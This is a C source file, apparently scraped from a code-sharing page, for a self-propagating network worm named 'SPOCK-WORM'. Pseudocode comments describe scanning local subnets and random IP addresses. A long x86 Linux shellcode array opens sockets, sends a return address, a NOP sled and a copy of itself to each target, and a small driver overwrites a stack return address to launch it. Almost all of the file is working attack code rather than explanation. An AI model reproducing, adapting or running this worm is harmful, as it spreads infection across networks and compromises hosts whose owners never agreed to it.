📄 worm.c
字号:
/* Small Proof Of Concept WORM (SPOCK-WORM)
* by Chris Church (cchurch@cc.gatech.edu)
*
* OOOOOOoooooo oo
* OOOOOOOOOOOOOOOOOOOooooooooooooooOOOOOO
* OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
* | OOOOOOo`OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
* Oo OOOOOOOOOoo~~~OOOOO~OO~OOOOOOOOOOOOOOO~~o
* OOOo OOOOOOOOOOOOOOooo~~~~oOOOOOOOo~~~~~oooOO'
* OO~OOo OOOOOOOOO~~o oo~OOOOOOOOOO'o~o oo~OO
* OO~o~OOo OOOOOO~oOOoooooo~oOO~oOOOOOO OoooooOOoO
* OoOO~o~O, OOOOOOOOOOOOOO~oOOOOOOOOOOOO Oo~OOOOOOO
* OO~o~oOOOo OOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOOOO
* OO OoOOOOOo ~OOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOOOO
* OOOoOOOOOOOOOoOOOOOOOOOOOOOOOOO~OOOOOOOO OOOOOOOO'
* OOOOOO~OOOOOOOOo~OOOOOOOOOOOO OOOOOOOOOO OOOOOOO
* ~~~~o OOOOOOOOOOOOOOOOOOOOOo'~~~OOOOOO OOOOOO'
* OOOOOOOOOOOOOOOOOO~oOOOOOOooooooOOOOOO'
* OOOOOOOOOOO OOOO'oOOOOOOOO OOOOO`OO'0'
* OOOOOOOOOO OOOO'OOOOOOOOOO~ OOOOO`O 0
* ~OOOOOOOOOOOOO'OOOOOOOOOOOOOOOOOOO`O
* o~OOOOOOOOOO'OOOOOOooooooooooooOO O
* o~OOOOOOOO OOOOOoooooooooooooOOO'
* ~OOOOOOOOOOOooOOOOOooooOOOOOoO
* ~~OOOOOOOOOOOOOOOOOOOOOOOO'
* ~~OOOOOOOOOOOOOOOOOOO'
*/
/* PSEUDO CODE
* MAIN
* For each interface:
* find subnet address (x.x.x)
* for n = 1..254
* attack x.x.x.n
* generate random 32bit num to use as IP
* infinite_loop
* attack rand_num
* rand_num++;
*
* ATTACK
* connect to addr
* send addresses
* send NOP sled
* send code and data
*
*/
#include <stdio.h>
char worm[] = "\xe8\x00\x00\x00\x00\x5d\xe9\x8d\x02\x00\x00\x5e\xc6\x46\x00\x02\xc6\x46\x01\x00\xc6\x46\x02\x00\xc6\x46\x03\x00\xc6\x46\x04\x02\xc6\x46\x05\x00\xc6\x46\x06\x00\xc6\x46\x07\x00\xc7\x46\x08\x00\x00\x00\x00\xc6\x46\x08\x11\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xf1\xcd\x80\x89\xc3\xb9\x12\x89\x00\x00\xc7\x86\xf0\x00\x00\x00\xf0\x00\x00\x00\x89\xb6\xf4\x00\x00\x00\x89\xf2\x81\xc2\xf0\x00\x00\x00\xb8\x36\x00\x00\x00\xcd\x80\x83\xf8\x00\x89\xf1\x89\xf2\x8b\x9e\xf0\x00\x00\x00\x01\xda\x39\xd1\x73\x35\x8b\x41\x14\xbb\x01\x00\x00\x00\x60\x66\xc1\xc8\x08\xc1\xc8\x10\x66\xc1\xc8\x08\x88\xd8\x66\xc1\xc8\x08\xc1\xc8\x10\x66\xc1\xc8\x08\xe8\x34\x00\x00\x00\x61\x43\x81\xfb\xfe\x00\x00\x00\x75\xd8\x83\xc1\x20\xeb\xbd\xb8\x01\x01\x01\x01\x50\xe8\x1a\x00\x00\x00\x58\x66\xc1\xc8\x08\xc1\xc8\x10\x66\xc1\xc8\x08\x40\x66\xc1\xc8\x08\xc1\xc8\x10\x66\xc1\xc8\x08\xeb\xe0\x50\xc6\x46\x00\x02\xc6\x46\x01\x00\xc6\x46\x02\x00\xc6\x46\x03\x00\xc6\x46\x04\x01\xc6\x46\x05\x00\xc6\x46\x06\x00\xc6\x46\x07\x00\xc7\x46\x08\x00\x00\x00\x00\xc6\x46\x08\x06\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xf1\xcd\x80\xc6\x46\x00\x02\xc6\x46\x01\x00\xc6\x46\x02\x0d\xc6\x46\x03\x05\x59\x89\x4e\x04\xc7\x46\x08\x00\x00\x00\x00\xc7\x46\x0c\x00\x00\x00\x00\x50\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x10\x00\x00\x00\xb8\x66\x00\x00\x00\xbb\x03\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\xbb\x00\x00\x00\x00\x83\xf8\x83\x72\x0b\x58\x89\xc3\xb8\x06\x00\x00\x00\xcd\x80\xc3\x58\xc7\x46\x00\xef\xbe\xad\xde\xc7\x46\x04\xef\xbe\xad\xde\xc7\x46\x08\x00\xf6\xff\xbf\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x0c\x00\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\xba\x32\x00\x00\x00\xc7\x46\x00\x90\x90\x90\x90\xc7\x46\x04\x90\x90\x90\x90\xc7\x46\x08\x90\x90\x90\x90\xc7\x46\x0c\x90\x90\x90\x90\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x10\x00\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\x4a\x83\xfa\x00\x75\xb7\xc6\x46\x00\xe8\xc6\x46\x01\x00\xc6\x46\x02\x00\xc6\x46\x03\x00\xc6\x46\x04\x00\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x05\x00\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\x89\x46\x10\x89\xeb\x89\x5e\x14\xc7\x46\x18\x20\x03\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\xb3\x0b\xfe\xcb\x88\x5e\x00\x88\x5e\x01\x88\x5e\x02\x88\x5e\x03\x89\x46\x10\x89\x76\x14\xc7\x46\x18\x04\x00\x00\x00\xc7\x46\x1c\x00\x00\x00\x00\x50\xb8\x66\x00\x00\x00\xbb\x09\x00\x00\x00\x89\xf1\x83\xc1\x10\xcd\x80\x58\x89\xc3\xb8\x06\x00\x00\x00\xcd\x80\xc3\xe8\x6e\xfd\xff\xff\x54\x68\x65\x20\x6e\x65\x65\x64\x73\x20\x6f\x66\x20\x74\x68\x65\x20\x6d\x61\x6e\x79\x20\x6f\x75\x74\x77\x65\x69\x67\x68\x20\x74\x68\x65\x20\x6e\x65\x65\x64\x73\x20\x6f\x66\x20\x74\x68\x65\x20\x66\x65\x77\x2e\x20\x20\x48\x6f\x77\x20\x64\x6f\x20\x79\x6f\x75\x20\x6c\x69\x6b\x65\x20\x6d\x79\x20\x73\x6f\x6c\x75\x74\x69\x6f\x6e\x20\x63\x61\x70\x74\x61\x69\x6e\x3f";
void smashme();
int main() {
char freespace[10000];
smashme();
printf("should never ever get here\n");
}
void smashme() {
int *ret;
printf("%x\n",&ret);
ret = (int *)&ret + 2;
(*ret) = (int)worm;
printf("ret = %x\n",ret);
printf("worm = %x\n",worm);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -